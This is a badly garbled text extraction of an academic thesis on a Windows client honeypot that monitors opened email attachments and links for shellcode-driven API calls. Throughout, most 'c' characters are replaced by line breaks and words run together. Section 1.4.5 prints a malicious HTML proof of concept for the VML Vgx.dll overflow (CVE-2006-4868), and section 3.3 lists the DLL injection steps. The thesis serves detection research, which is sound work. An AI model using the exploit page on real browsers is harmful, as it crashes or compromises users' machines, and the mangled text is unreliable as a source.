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Abstra
tAs far as networks are being prote
ted by �rewalls and operating systems aremade more resilient to atta
ks, atta
ks are moving up to the appli
ation layer.Sin
e a bit of so
ial engineering is needed to persuade a user to visit amali
ious website or to open a malformed �le, email 
ommuni
ation is a goodway to try to a
hieve this.We have designed and implemented a system for 
he
king automati
ally allwebsite links and atta
hments re
eived by email. For ea
h website link or �lere
eived, a supervised pro
ess is laun
hed to open it: All the API 
alls made bythis pro
ess to a

ess the registry, the �le-system and the network are validated.This is a
hieved by means of 
he
king whether the memory address where theAPI 
all was made from is 
ontained in a exe
utable region or not. If theaddress is 
ontained in a region whi
h it is supposed to 
ontain data, an alert isgenerated. On
e an alert is generated, all the data ex
hanged over the networkas well as the information stored in the �lesystem is logged by the utility.The engine designed to monitor a pro
ess 
an also be used to monitor apro
ess serving requests su
h as a http server.We evaluated the system using known vulnerabilities published with theMetasploit proje
t and the system designed was able to dete
t and monitor theexe
ution of most 
ommon payloads, independently of the kind of exploit used.In order to evaluate the 
ost of a monitored pro
ess, we measured the per-forman
e of a monitored instan
e of the Apa
he server and we 
ompared it withthe performan
e of a non-monitored instan
e. We used the Apa
he Ben
hmarkas an evaluation utility and the results showed a minimal de
rease in the requesthandling 
apa
ity.
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Chapter 1Introdu
tion1.1 Problem statementJust a few years ago, se
urity meant buying and 
on�guring a �rewall, regularlypat
hing server operating systems and installing some anti-virus software onstorage servers or workstations.With an enterprise prote
ted by a �rewall, internet users outside the enter-prise 
ould only 
onne
t to the appropriate IP ports on web and email servers,while workstations remained prote
ted by the �rewall from the outside world.In addition to �rewall prote
tion, operating systems were made more resilientto atta
ks by means of regularly pat
hing them. As a result, not only the atta
ksurfa
e was being redu
ed, but also it was getting more di�
ult for resear
hersto �nd new vulnerabilities.Online 
riminals had to 
ome up with ways to get around �rewalls, andtaking for granted that operating systems were be
oming harder to 
ompromise,atta
kers just swit
hed te
hniques and moved up to the appli
ation layer.Appli
ation-level se
urity vulnerabilities in 
lient-side software like InternetExplorer, Word and PowerPoint mean that workstations are the new target of
hoi
e for vulnerabilities resear
hers. Ten years ago, nobody would have seenresear
hers investigating A
robat and Flash vulnerabilities, but nowadays thesituation has 
hanged.On
e a vulnerability is identi�ed in a desktop appli
ation, a �le with mali-
ious 
ode 
an be designed to 
ompromise a workstation when the �le is opened.On
e 
ontrol of a workstation has been gained, a lot of useful information 
anbe obtained by means of installing a keystroke logger or just snooping on email.Moreover, an atta
ker 
an use that system to mount an assault, targeting otherworkstations or even enterprise servers.Client-side atta
ks rely on mali
ious software being exe
uted on a worksta-tion by the user. It doesn't matter how this mali
ious software is exe
uted; Thepoint is that a perimeter �rewall isn't going to be able to prevent that kind ofatta
k. Just a bit of so
ial engineering is needed to persuade a user to visit a13



14 CHAPTER 1. INTRODUCTIONmali
ious website or to open a malformed �le that has probably been re
eivedby email.The time in whi
h malware 
reators were seeking notoriety and re
ognitionfor their 
reations has gone sin
e long.1.2 From fun to pro�t and from server to 
lientA few years ago, Internet worms su
h as CodeRed, Nimda, Slammer, MSBlaster,among others, re
eived a lot of attention in the media. Every time a newworm appeared, it demonstrated a better 
apability of propagation. Slammerappeared on the 25th of January 2003 and managed to infe
t 90% of vulnerablehosts within 10 minutes.In addition, it was presumably a motivation to see a personal 
reation at atop position in the ranking of the worms that have 
aused the greatest damage.Polymorphi
 worms were expe
ted to be the next generation atta
ks. Insteadof that, online 
riminals, motivated by pro�t rather than fame, are now lookingfor silent infe
tions that allow them to operate without mu
h noise.A new situation is derived from the in
reasing professionalization of the se-
urity threats 
reators and their �nan
ial motivation. This situation representsa new business model for malware, with an allian
e of developers, distributorsand 
ompanies making use of this infrastru
ture. A 
lear example of this fa
tis the 
reation of extensive botnets (
omputers a
ross the Internet 
ontrolledby a program that await 
ommands, usually via IRC). These large networks
an be rented out on the bla
k market, to be used for anything from denial ofservi
e atta
ks to silently installing other types of malware, possibly to steal
redit numbers.1.3 ContributionsAs it has previously been mentioned, atta
kers move away from server-side at-ta
ks and fast-spreading worms, in favour of stealthy atta
ks that target 
lients.For 
lient atta
ks to be su

essful, an atta
ker needs to get a

ess to the 
lient'sma
hine or the data transmitted.In this do
ument, we fo
us on 
lient-side intrusion atta
ks, i.e. atta
ks whereatta
kers try to get their 
ode exe
uted on 
lient ma
hines. In parti
ular, wewill dis
uss an intrusion dete
tion system that builds on three main pillars:1. Client emulation : For 
lient-side intrusion dete
tion to be su

essful, weneed to mimi
 the behaviour of a 
lient in order to attra
t an atta
k.2. Atta
k dete
tion : We need to be able to determine when an atta
k istaking pla
e3. Atta
k analysis : When an atta
k is taking pla
e, we would like to gatheras mu
h information about the atta
k as it is possible. For instan
e, wemight download the atta
k's payload for further analysis.



1.4. CLIENT-SIDE ATTACKS 15In the next few 
hapters, we will dis
uss these three aspe
ts in more detail.The rest of the do
ument is organized as follows: In this 
hapter, we will de-s
ribe whi
h ve
tor atta
ks may be used by 
lient-side atta
ks and we will alsointrodu
e whi
h systems have been already developed to deal with this kindof atta
ks. Prin
ipally, we will fo
us on honey
lients. In 
hapter 2 we will
on
entrate on the system ar
hite
ture designed, while the implementations de-tails will be presented in 
hapter 3. Chapter 4 deals with the evaluation of thesystem prote
tion e�e
tiveness and the system performan
e. Related work isdis
ussed in 
hapter 5, emphasizing what is di�erent between the system devel-oped and other existing honey
lients. Finally, 
hapter 6 is devoted to presentour 
on
lusions.1.4 Client-side atta
ksClient-side atta
ks rely on vulnerabilities found on desktop appli
ations. Thereare di�erent atta
k ve
tors that 
an be addressed by an intruder to exploitthese vulnerabilities. Mi
rosoft Windows, due to its popularity, is the platformmost frequently addressed by resear
hers. In this se
tion, we will dis
uss aboutdi�erent 
omponents that 
an be targeted by a 
lient-side atta
k in a Windowsenvironment. The information presented in this se
tion is based on the arti
les[1℄ and [2℄.1.4.1 Web browser vulnerabilitiesMi
rosoft Internet Explorer is the most popular browser used for web sur�ngand it is installed by default on ea
h Windows system. If a vulnerability in thisappli
ation is identi�ed, a mali
ious website 
an be designed to 
ompromise allthe workstations from the visiting users. Vulnerabilities in A
tiveX 
ontrolsinstalled by Mi
rosoft or other vendor software are also being exploited viaInternet Explorer.1.4.2 Windows LibrariesWindows libraries are modules that 
ontain fun
tions and data that 
an beused by other modules su
h as Windows appli
ations. Windows appli
ationstypi
ally leverage a large number of these libraries often pa
kaged as dynami
-link library (DLL) �les to 
arry out their fun
tions. These libraries usually havethe �le extension DLL.These libraries are used for many 
ommon tasks su
h as HTML parsing,image format de
oding and proto
ol de
oding. Lo
al as well as remotely a

es-sible appli
ations use these libraries. Thus, a 
riti
al vulnerability in a libraryusually impa
ts a range of appli
ations from Mi
rosoft and third-party vendorsthat rely on that library. The most 
riti
al issues are the ones that lead to re-mote 
ode exe
ution without any user intera
tion when a user visits a mali
iousweb page or reads an email that makes use of the vulnerable library.



16 CHAPTER 1. INTRODUCTION1.4.3 A
tiveX 
omponentsIn order to make web pages and sites more intera
tive, te
hnologies su
h asJavaS
ript, Java applets...et
. have been developed. These are programminglanguages that let web developers write 
ode that is exe
uted by a web browserlo
ally, that is, on the 
lient workstation.In order to avoid se
urity problems, the designers of these te
hnologies de-
ided to make use of sandboxed environments. Sandboxing is a popular te
h-nique for 
reating 
on�ned exe
ution environments, whi
h 
ould be used forrunning untrusting programs. A sandbox limits or redu
es the a

ess level itsappli
ations have. It is a 
ontainer.As an example of a sandboxed environment, we 
an 
onsider JavaS
ript.By means of this isolated environment, JavaS
ript s
ripts are permitted a

essonly to data in the 
urrent do
ument or 
losely related do
uments (generallythose from the same site as the 
urrent do
ument). No a

ess is granted to thelo
al �le system, the memory spa
e of other running programs, or the operatingsystem's networking layer.A
tiveX is Mi
rosoft's term for a parti
ular kind of software based on theComponent Obje
t Model (COM). A
tiveX 
ontrols are highly portable COMobje
ts, used extensively throughout Mi
rosoft Windows platforms and, espe-
ially, in web-based appli
ations. COM obje
ts, in
luding A
tiveX 
ontrols, 
aninvoke ea
h other lo
ally and remotely through interfa
es de�ned by the COMar
hite
ture. The COM ar
hite
ture allows for interoperability among binarysoftware 
omponents produ
ed in disparate ways. Libraries 
ontaining A
tiveX
ontrols usually have the �le extension OCX.A
tiveX 
ontrols 
an also be invoked from web pages through the use ofa s
ripting language or dire
tly with an HTML OBJECT tag. If an A
tiveX
ontrol is not installed lo
ally, it is possible to spe
ify a URL where the 
ontrol
an be obtained. On
e being obtained, the 
ontrol installs itself automati
allyif permitted by the browser.A
tiveX 
ontrols 
an be signed or unsigned. A signed 
ontrol provides a highdegree of veri�
ation that the 
ontrol was produ
ed by the signer and has notbeen modi�ed. Signing does not guarantee the benevolen
e of the 
omponent,it only ensures that the 
ontrol originated from the signer.A
tiveX 
ontrols do not run in a �sandbox� of any kind. That means thatA
tiveX 
ontrols are binary 
ode 
apable of taking any a
tion that the user
an take. Thus, a 
riti
al vulnerability in an A
tiveX 
omponent 
ould leadan atta
ker to 
ompromise a workstation. An example 
ould be designing awebsite that, when downloaded into the 
lient, by means of JavaS
ript, invokesa vulnerable A
tiveX 
omponent.1.4.4 Mi
rosoft O�
eMi
rosoft O�
e is the most widely used email and produ
tivity suite worldwide.The appli
ations in
lude Outlook, Word, PowerPoint, Ex
el, Visio, FrontPageand A

ess. Vulnerabilities in these produ
ts 
an be exploited via the following



1.4. CLIENT-SIDE ATTACKS 17atta
k ve
tors:
• The atta
ker sends a mali
ious O�
e do
ument in an email message. Theatta
k su

eeds if the user opens it. This is usually a
hieved by means ofa bit of so
ial engineering.
• The atta
ker hosts the do
ument on a web server or shared folder, andenti
es a user to browse the web page or the shared folder. Note that Inter-net Explorer automati
ally opens O�
e do
uments. Hen
e, browsing themali
ious web page or folder is su�
ient for the vulnerability exploitation.1.4.5 Atta
k exampleIn September 2006, a vulnerability (CVE-2006- CVE-2006-4868) was reportedin Windows Ve
tor Markup Language graphi
s implementation. Ve
tor MarkupLanguage (VML) is a XML-based language typi
ally used to draw ve
tor graph-i
s, i.e. VML graphi
s. The vulnerable 
omponent was VML rendering libraryVgx.dll when lo
ating an overly long �ll parameter inside a re
t tag on a Webpage.This sta
k over�ow �aw was easily exploitable by means of a website invokingthe vulnerable library.Listing 1.1: Example of a mali
ious HTML do
ument<!−− Current ly j u s t a DoS EAX i s 
 o n t r o l l a b l e and 
u r r en t l yi t 
 ra she s when t ry i ng to move EBX into the l o 
 a t i o n pointedto by EAX [ Shirkdog ℄ −−><html xmlns : v="urn : s
hemas−mi
ro so f t−
om : vml"><head><ob j e 
 t id="VMLRender"
 l a s s i d="CLSID:10072CEC−8CC1−11D1−986E−00A0C955B42E"></obje
t><s ty l e> v\ :∗ { behavior : u r l (#VMLRender ) ; } </s ty l e></head><body><v : r e 
 t s t y l e ='width :120 pt ; he i ght : 80 pt ' f i l l 
 o l o r ="red"><v : f i l l method="AAA . . . . . . AAAA"angle="−45" fo
us="100%" f o 
 u s p o s i t i o n =".5 , .5"f o 
 u s s i z e ="0 ,0" type="grad i entRad ia l " /></v : re
t></body></html>



18 CHAPTER 1. INTRODUCTION1.5 Client honeypots1.5.1 Introdu
tionIn this se
tion 
lient honeypots are presented. This se
tion is an adaptation ofthe arti
le [3℄.Honeypots are monitored se
urity devi
es whose value lies in being probed,atta
ked and 
ompromised. Traditional honeypots are servers that wait pas-sively to be atta
ked. As they are monitored systems, they 
an provide impor-tant information on the methods used by ha
kers, worms, et
.A honeypot's strength lies in that it does not advertise itself on the Internet.The fa
t that a honeypot's network address is not publi
ized on the Internet,allows one to assume that all inbound and outbound tra�
 is suspi
ious and isin some way related with an atta
k.A 
lient honeypot is similar to a honeypot ex
ept that it a
tively sear
hesfor mali
ious servers that try to exploit the 
lient, instead of passively waitingto be 
ompromised.Up until now, the fo
us of 
lient honeypots have been web browsers (theysimply try to mimi
 a user sur�ng the net), but any 
lient that intera
ts withservers 
an be part of a 
lient honeypot.1.5.2 Ar
hite
tureA 
lient honeypot is basi
ally 
omposed of three 
omponents. The �rst, aqueuer, is responsible to 
reate a list of servers for the 
lient to visit. This list
an be established, for example, through 
rawling. The se
ond 
omponent isthe 
lient itself, whi
h is able to make a request to a server that the queuerhas identi�ed. After the intera
tion with the server has taken pla
e, the third
omponent, an analysis engine, is responsible to determine whether an atta
khas taken pla
e on the 
lient honeypot or not.In addition to these 
omponents, 
lient honeypots are usually equipped withsome sort of 
ontainment strategy that would prevent su

essful atta
ks fromfurther spreading from the 
lient honeypot. This is usually a
hieved through�rewalling the 
lient honeypot and 
ontainment within a virtual ma
hine.1.5.3 Types of 
lient honeypotsLow intera
tionLow intera
tion 
lient honeypots are de�ned as su
h due to the limited inter-a
tion an atta
ker or malware is allowed to have. This 
ir
umstan
e is theout
ome of using emulated 
lients to intera
t with servers.On
e a server has replied, the response is examined dire
tly to dete
t signa-tures 
orresponding to known atta
ks. As a 
onsequen
e, low intera
tion 
lienthoneypots are normally not able to dete
t zero-day atta
ks.



1.6. GOALS 19High intera
tionHigh intera
tion 
lient honeypots are fully fun
tional systems 
omparable toreal systems with real 
lients. As a 
onsequen
e, no fun
tional limitations (apartfrom the 
ontainment strategy) exist on high intera
tion 
lient honeypots.Atta
ks on high intera
tion 
lient honeypots may be dete
ted via inspe
tionof the state of the system after a server has been intera
ted with. For example,if a new �le is observed it is a strong indi
ator that the server has exploited avulnerability in the 
lient to 
reate su
h a �le.Sin
e no emulated software is used, high intera
tion 
lient honeypots havethe possibility to dete
t atta
ks based on previously unknown vulnerabilities aswell as known exploits. However, sin
e the state of the system is monitored,high intera
tion 
lient honeypots are rather slow.1.5.4 Current implementationsThe following 
lient-side honeypots are avalaible and des
ribed in the literature:
• HoneyClient: a web browser based (IE/FireFox) high intera
tion 
lienthoneypot implemented by Katy Wang sometime in 2004 or 2005. Snap-shots of the registry and �le system are taken before any intera
tion isdone. After a website is visited, a long system s
an o

urs to dete
t�le/registry 
hanges. As a result, it is very slow. It is an open sour
eproje
t.
• Mi
rosoft's HoneyMonkey: a web browser based (IE) high intera
tion
lient honeypot implemented by Mi
rosoft in 2005 . It is not availablefor downloading. HoneyMonkey dete
ts atta
ks on 
lients by monitoring�les, registry, and memory. It 
onsists on an array of virtual ma
hinesranging from 
ompletely unpat
hed Windows XP ma
hines up throughma
hines whi
h are 
ompletely pat
hed. HoneyMonkey initially 
rawlsa website with a vulnerable 
on�guration. If an atta
k is dete
ted, thewebsite is re-examined by the next ma
hine in the pipeline. When theend-of-the-pipeline ma
hine is rea
hed, and if the atta
k is still su

essful,the URL is upgraded to a zero-day exploit.
• HoneyC: HoneyC is a low intera
tion 
lient honeypot developed at Vi
toriaUniversity of Wellington by Christian Seifert in 2006. HoneyC is a 
ross-platform open sour
e framework written in Ruby. Mali
ious servers aredete
ted by analyzing the web server's responses through the usage ofSnort signatures.1.6 GoalsThe obje
tive of this proje
t is to develop the three previously identi�ed pillarsthat 
onstitute a 
lient-side honeypot. That is, we intend to develop a system



20 CHAPTER 1. INTRODUCTIONwhi
h is able to deal with all the di�erent 
lients-side atta
ks previously pre-sented. A 
ommon situation where all these atta
ks 
an take pla
e is when anunwary user is reading his/her email, and he/she opens all the atta
hed �les and
li
ks over all the links he/she sees. Email messages are widely used by atta
kersto atta
h �les whi
h 
ontain mali
ious 
ode or to persuade any potential readerto visit mali
ious websites. Our system tries to emulate the behaviour of thisgullible user intera
ting with his/her email inbox.Sin
e we also intend to dete
t zero-day atta
ks, we will aim for a high-intera
tion system.Existing high intera
tion honey
lients rely on the assumption that, aftera 
lient-side atta
k su

eeds, some kind of malware is installed in the 
lientma
hine. As a 
onsequen
e, they try to dete
t an atta
k by means of revising thesystem state after a server has been intera
ted with. For example, determiningif a �le has been added to the �le system. Our approa
h assumes that beforeany malware 
ould be installed, some kind of vulnerability must be exploited.Our goal is not to dete
t 
hanges in the system, but the exe
ution of some kindof shell
ode trying to download and install malware.Thus:1. We intend to develop a 
lient honeypot to simulate the behaviour of auser that it is revising his/her email inbox. The system designed mustpro
ess all the atta
hments re
eived and open them with the asso
iatedappli
ation. Moreover, it must laun
h the default browser to visit all thelinks to websites in
luded in the 
ontent of the messages.2. For ea
h pro
ess laun
hed, the system must validate its behaviour to de-termine whether there is an atta
k in pro
ess or not.3. In 
ase there is an atta
k, we intend to 
olle
t information about it, su
has the payload whi
h is trying to download.



Chapter 2System Ar
hite
ture2.1 Introdu
tionFirst of all, we have de
ided to fo
us our work on the Windows platform be
auseit is the one whi
h is being targeted by the vast majority of 
lient-side atta
ks.To obtain a �rst approximation to our system, we are going to follow thegeneral ar
hite
ture of a 
lient honeypot as a guideline. The system we intendto develop should be divided into the following 
omponents:
• A queuer: responsible to 
reate a list of servers for the 
lient to visit
• A 
lient: responsible to make a request to a server that the queuer hasidenti�ed
• An analysis engine: responsible to determine whether an atta
k has takenpla
e on the 
lient honeypotIn our 
ase, the behaviour that we try to reprodu
e is the one asso
iated to anuser intera
ting with his/her email inbox. The point is that we are not tryingto dete
t an atta
k while a 
lient email appli
ation is ex
hanging informationwith the email server. Instead of that, we intend to 
he
k that all the 
ontent
orre
tly re
eived by an email utility is not going to 
ompromise the workstationlater. That is to say, when a mali
ious atta
hment is opened using a desktopappli
ation or when a link to a not trusted web site is inno
ently visited by theuser.Thus, the queuer in our design is not only going to 
reate a list of servers(the web sites that must be visited), but also a list of �les to validate.As we aim both to develop a system able to deal with all kind of informationthat may be re
eived by email (text do
uments, images, movies, presentations,URLs, et
. ) and to seek for atta
ks based on unknown user appli
ation vul-nerabilities, the logi
al 
hoi
e is to develop a high intera
tion 
lient honeypot.We are going to use the real world appli
ations to pro
ess the atta
hments and21



22 CHAPTER 2. SYSTEM ARCHITECTUREURLs identi�ed by the queuer 
omponent, instead of developing our own 
lientemulators.Last but not least, analysis engines in high intera
tion 
lient honeypots areslower than in low intera
tion 
lient honeypots, be
ause their dete
tion te
h-niques are based on the long operation of examining the system state after aserver has been intera
ted with. Our obje
tive is to implement an analysis en-gine able to dete
t atta
ks in an e�
ient way, but maintaining a low per
entageof false positives. Instead of validating the state of the system after the exe
u-tion of a 
lient, we are going to monitor the behaviour of the 
lient during itsexe
ution.All the mentioned points led us to the following system 
omponents:
• Client emulator:� Email pro
essor: It is responsible to identify all the atta
hments andURLs re
eived by email.� Client emulator: It is responsible to invoke the proper appli
ation todeal with ea
h kind of �le the email pro
essor has identi�ed.
• Atta
k dete
tion� Pro
ess monitor engine: It is responsible for monitoring the a
tionsexe
uted by the 
lient as well as to apply the 
ontainment strategyif required.� Atta
k dete
tion engine: It is responsible for determining if an a
tionexe
uted by the 
lient is 
onsidered illegal.� Atta
k log engine: It is responsible for gathering as mu
h informationfrom the atta
k as possible.2.2 Email pro
essorThe email pro
essor is responsible for pro
essing all the messages of an spe
i�
inbox. On the one hand, it must identify all the links to websites re
eived in the
ontent of the messages. To a
hieve this, it must parse every message 
ontentseeking for strings started by http. On the other hand, it must extra
t all theatta
hments re
eived in ea
h message.Ea
h URL and atta
hment extra
ted from the inbox must be passed to the
lient emulator.As we have already pointed out, we are not interested in 
ontrolling whathappens during the POP3 
onversation between a 
lient email utility and aserver when user messages are downloaded from the server storage system toa workstation. As a 
onsequen
e, we don?t have the ne
essity to implement a
omplete email tool. Instead, we have the possibility to base our 
lient emulatoron an existing appli
ation su
h as Outlook Express, and simply extend it to ful�lour requirements.
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Figure 2.1: The email pro
essor 
omponent2.3 Client emulatorThe 
lient emulator is invoked by ea
h URL and by any atta
hment identi�edby the 
lient emulator. It is responsible to dedu
e the appropriate appli
ationto deal with the information passed from the 
lient emulator and to laun
h itinside a 
ontrolled environment.When the 
lient emulator is invoked to pro
ess an URL, it simply has toopen it with the default browser installed on the system. If a �le is re
eivedas a parameter, before opening it, the asso
iated appli
ation must be dedu
eda

ording to the �le extension.2.4 Pro
ess monitor engineThe pro
ess monitor engine is responsible for monitoring the a
tions exe
utedby the appli
ations laun
hed by the 
lient emulator.If we visit a se
urity related or an antivirus website and if we look for infor-mation about what kind of a
tions are usually performed by a su

essful atta
kor a worm, we 
an 
he
k out that these a
tions usually 
onsist into downloadingand installing some kind of malware designed to exe
ute some unwanted a
tion:allow a future a

ess to the 
omputer, steal 
on�dential information, serve as atrampoline to atta
k other hosts, ...In order to install malware, modi�
ations in the �lesystem must be per-formed, and, usually, some registry keys must be altered to allow the exe
utionof the malware every time the system starts up. This is the reason why 
lienthoneypots 
he
k the state of the system via inspe
tion of 
hanges in the �lesys-tem or in the registry.Following the same prin
iple, as an alternative to monitor all the a
tions
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uted by a supervised appli
ation, we intend to improve the system perfor-man
e only taking into a

ount the a
tions that a

ess to the �le system as wellas to the registry.Ea
h supervised a
tion must be validated by the dete
tion atta
k engine. Ifsome a
tion is not validated, the pro
ess monitor engine must start logging allthe a
tions performed by the payload. Moreover, it must apply some kind of
ontainment strategy. This aspe
t will be dis
ussed in more detail in a futurese
tion.2.5 Atta
k dete
tion engineThe atta
k dete
tion engine is responsible to determine whether an a
tion exe-
uted by a supervised appli
ation is 
onsidered illegal or not.Di�erent te
hniques 
an be su

essfully adapted to our system ar
hite
ture.A �rst approximation 
ould be based on the dete
tion of abnormal behaviour.Sin
e the system is going to monitor all the �le and registry a

esses, we have thepossibility to keep information about whi
h �les and registry keys are usuallya

essed by a program. After a learning period, the dete
tion atta
k engineshould be able to determine if an appli
ation is following its expe
ted behaviour.Another possibility 
ould be to 
on�gure a set of prohibited dire
tories andregistry keys. We 
an assume that a user appli
ation doesn't have to save any�le into a system dire
tory or that it doesn't have to alter any registry keyrelated to the exe
ution of programs during the system start up.The 
riteria sele
ted to determine whether an a
tion is 
onsidered illegalor not is by validating from whi
h memory address the system fun
tion wasinvoked. If this address is not 
ontained into an exe
utable region, an alarm isgenerated.2.6 Containment strategyIn 
ase an atta
k is dete
ted, we would like to gather as mu
h informationabout it as possible. We expe
t the shell
ode inje
ted to download some kindof malware and install it. We might allow downloading the atta
k's payload forfurther analysis, but we have to avoid its exe
ution.



Chapter 3System implementation3.1 Environment usedIn this 
hapter we are going to summarize the basi
 ideas needed to under-stand how the 
omponents of the system have been implemented. Next se
tionsintrodu
e the di�erent programming te
hniques that have been used.Before starting, we present whi
h programming environment has been usedduring system implementation.
• Programming language: C
• Platform development:� MinGW 5.0.2 : A 
olle
tion of freely available and freely distributableWindows spe
i�
 header �les and import libraries 
ombined withGNU toolsets that allow one to produ
e native Windows programsthat do not rely on any 3rd-party C runtime DLLs.� Dev-C++ : IDE for the C/C++ Mingw 
ompiler only used to edittext-�les� Mi
rosoft Visual C++: 
ompiler used to implement the email pro-
essor 
omponent
• Debugging tools:� DebugView: This is a tool from Sysinternals that enables to monitorall debug messages on the system.� OllyDbg: It is a free proprietary 32-bit assembler level analysis de-bugger written by Oleh Yus
huk for Mi
rosoft Windows
• Testing tools: 25



26 CHAPTER 3. SYSTEM IMPLEMENTATION� Metasploit Framework 2.7: The Metasploit Proje
t is an open sour
e
omputer se
urity proje
t whi
h provides information about se
u-rity vulnerabilities and aids in penetration testing and IDS signa-ture development. Its most well-known sub-proje
t is the MetasploitFramework, a tool for developing and exe
uting exploit 
ode againsta remote target ma
hine.Before going on, we have to thank the open sour
e proje
t WinPoo
h, whi
hserved us as a magni�
ent starting point for our utility. Winpoo
h is a Windowswat
hdog, free and open sour
e. Anti spyware and anti trojan, it gives a fullprote
tion against lo
al or external atta
ks by s
anning the a
tivity of programsin real time. Asso
iated with ClamWin antivirus, Winpoo
h keeps safe your
omputer against virus.3.2 General des
riptionAs we have already explained in the previous 
hapter whi
h deals with thesystem ar
hite
ture, the system designed has been divided into the following
omponents:
• Email pro
essor: It identi�es all the atta
hments and URLs re
eived viaemail.
• Client emulator: It invokes the proper appli
ation to deal with ea
h kindof �le the email pro
essor has identi�ed
• Pro
ess monitor engine: It monitors the a
tions exe
uted by the 
lient aswell as it applies the 
ontainment measures.
• Atta
k dete
tion engine: It is responsible for determining if the 
lient isunder atta
k.
• Atta
k log engine: It is in 
harge of gathering as mu
h information fromthe atta
k as possible.3.2.1 Email pro
essorAs the email pro
essor has to parse the email messages looking for URLs, onereason to 
hoose C/C++ as a programming language has been to make possiblethe easy integration of a lexi
al analyzer generated by �ex.Sin
e an API to a

ess the messages stored by Outlook Express was available,instead of developing a new email 
lient, we programmed our email pro
essor todire
tly a

ess the downloaded messages by Outlook Express. An arti
le writtenby Pablo Yabo whi
h provides an introdu
tion about how to use some of theOutlook Express API fun
tions 
an be found on The Code Proje
t website [4℄.
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essReadFile KERNEL32WriteFile KERNEL32NtCreateFile NTDLL_DLLNtDeleteFileNtOpenFileNtSetInformationFilerelated to registry a

essNtSetValueKey NTDLL_DLLrelated to network a

ess
onne
t WS2_32_DLLlistensendre
vre
vfromTable 3.1: Win32 API 
alls hooked by Shelia3.2.2 Client emulatorThe 
lient emulator 
an re
eive a �le to open or a URL to visit. To determinewhi
h is the proper appli
ation to deal with a �le, it is used the Win32 APIAsso
QueryStringA, whi
h gets the �le asso
iation string from the registry.On
e it is known whi
h program must be exe
uted, it has to be laun
hedinto an environment supervised by the pro
ess monitor engine. This is a
hievedby means of inje
ting a DLL whi
h 
ontains the pro
ess monitor 
ode into the
lient pro
ess spa
e. This te
hnique will be dis
ussed in more detail in a laterse
tion.3.2.3 Pro
ess monitor engineThe pro
ess monitor engine is responsible for the surveillan
e of the a
tionsperformed by the pro
esses in whi
h it has been inje
ted. Sin
e it has beendesigned in a generi
 way, it is possible to use it to monitor not only the pro-
esses laun
hed by the 
lient emulator, but also others. We 
ould easily adaptour engine to server pro
esses, turning this 
omponent into the base of a hostintrusion prevention system.As dis
ussed in the 
hapter dealing with the system ar
hite
ture, we intendto monitor only the potentially dangerous a
tions related to a

essing the �lesystem, the registry and the network. We a

omplished it by hooking, amongothers, the Win32 API 
alls listed in table 3.1:The te
hnique used to inter
ept when the fun
tions previously listed areinvoked is known as API hooking. This te
hnique will be dis
ussed in moredetail in a later se
tion.
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essCreatePro
essA KERNEL32CreatePro
essW KERNEL32CreateThread KERNEL32WinExe
 KERNEL32ShellExe
ute SHELL32_DLLShellExe
uteEx SHELL32_DLLVirtualProte
t KERNEL32LoadLibraryA KERNEL32LoadLibraryW KERNEL32Table 3.2: Additional Win32 API 
alls hooked by SheliaOther fun
tions frequently required by payloads have also been hooked. Thisfun
tions are listed in table 3.2.Con
erning to these additional hooked fun
tions, CreatePro
essA, CreatePro-
essW and CreateThread are usually required to spawn a new pro
ess su
h asa 
ommand shell. They must be denied if an atta
k is in progress.LoadLibraryA and LoadLibraryW are also hooked sin
e they 
ould be re-quested by a payload to load additional DLLs into a pro
ess memory spa
e. Forexample, if it is going to use high-level fun
tions to download and exe
ute a �lesu
h as URLDownloadToFileA , URLMON.DLL will be probably loaded.Con
erning to WinExe
, ShellExe
ute and ShellExe
uteEx , they 
an obvi-ously be used to exe
ute unwanted 
ommands, su
h as adding a new user tothe system. For this reason, we should also monitor these 
alls and deny itsexe
ution if an atta
k is in progress.3.2.4 Atta
k dete
tion engineThis 
omponent is responsible to de
ide whether an API 
all inter
epted by thepro
ess monitor engine is 
onsidered valid or not. This 
onsideration is done bymeans of 
he
king if the memory address where the API 
all was made from is
ontained in a exe
utable region. Presuming that the address is 
ontained in aregion whi
h is supposed to just 
ontain data, an alert is generated.3.3 DLL Inje
tionThis se
tion introdu
es the te
hnique of DLL inje
tion whi
h is used by inje
tingthe 
ode of the pro
ess monitor engine into the monitored pro
ess memory spa
e.This is a known te
hnique that was presented by Je�rey Rit
hards more thanten years ago [5℄.Any pro
ess 
an load a DLL dynami
ally using the LoadLibrary API. Thepath to the DLL must be passed as a parameter. The issue is how to for
e an
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ess to 
all LoadLibrary to provoke it to load a 
ustom designedDLL into its memory spa
e.Various fun
tions are available in Windows that permit a pro
ess to a

essthe memory spa
e of another pro
ess. These fun
tions were implemented byMi
rosoft to give support to utilities su
h as debuggers. The point is thatadministrator privileges are not required to invoke them.Examples of these fun
tions are:
• VirtualAllo
Ex: allows to reserve memory in a remote pro
ess memoryspa
e
• WritePro
essMemory: allows 
opying information to a remote bu�er.That is, to a bu�er allo
ated into the memory of another pro
ess.All these fun
tions require a handle to the remote pro
ess we want to a

ess.Sin
e our utility is spawning the pro
esses that we want to monitor, a handleto them is automati
ally obtained after 
reating them. With a handle to thetarget pro
ess, we are in the position to modifying its behaviour a

ording toour needs.Next, we present a draft of the steps followed to inje
t our 
ustom DLL :1. OpenPro
ess: To obtain a handle to the pro
ess where the DLL must beinje
ted.2. VirtualAllo
Ex: To reserve memory into the target pro
ess where to pla
ethe 
ode that must be exe
uted3. WritePro
essMemory: To 
opy the 
ode to the remote bu�er. The 
ode
opied invokes LoadLibrary to load our 
ustom DLL.4. CreateRemoteThread: To 
reate a remote thread into the target pro
essesresponsible to exe
ute the payload inserted. The remote address of thestart routine is expe
ted as a parameter. In our 
ase, this is the addressof the remote bu�er we have obtained.5. On
e the previous steps are exe
uted, our 
ustom DLL is automati
allyloaded into the target pro
ess memory spa
e. WinMain in the DLL isautomati
ally invoked by the operating system. This is the point wherethe se
ond te
hnique used (API hooking) is applied.3.4 API hookingIn this se
tion the te
hnique of API hooking whi
h is used by the monitor pro
essengine will be explained. The information presented is based on [6, 7, 8℄.In Windows, there are three subsystems on whi
h most pro
esses depend.They are the Win32, POSIX, and OS/2 subsystems. These subsystems 
om-promise a well-do
umented set of APIs. Through these APIs , a pro
ess 
anrequest the aid of the OS.



30 CHAPTER 3. SYSTEM IMPLEMENTATIONAll these subsystems have all the needed libraries for them to work. Forexample, the Win32 Subsystem relies on kernel32.dll, User32.dll, Gui32.dll, andAdvapi32.dll to eventually issue 
alls into the kernel.Win32 appli
ations 
all the Win32 Subsystem APIs, whi
h in fa
t 
all NTAPIs (native APIs, or just natives). Natives don't require any subsystem torun.Natives are servi
es that are available to devi
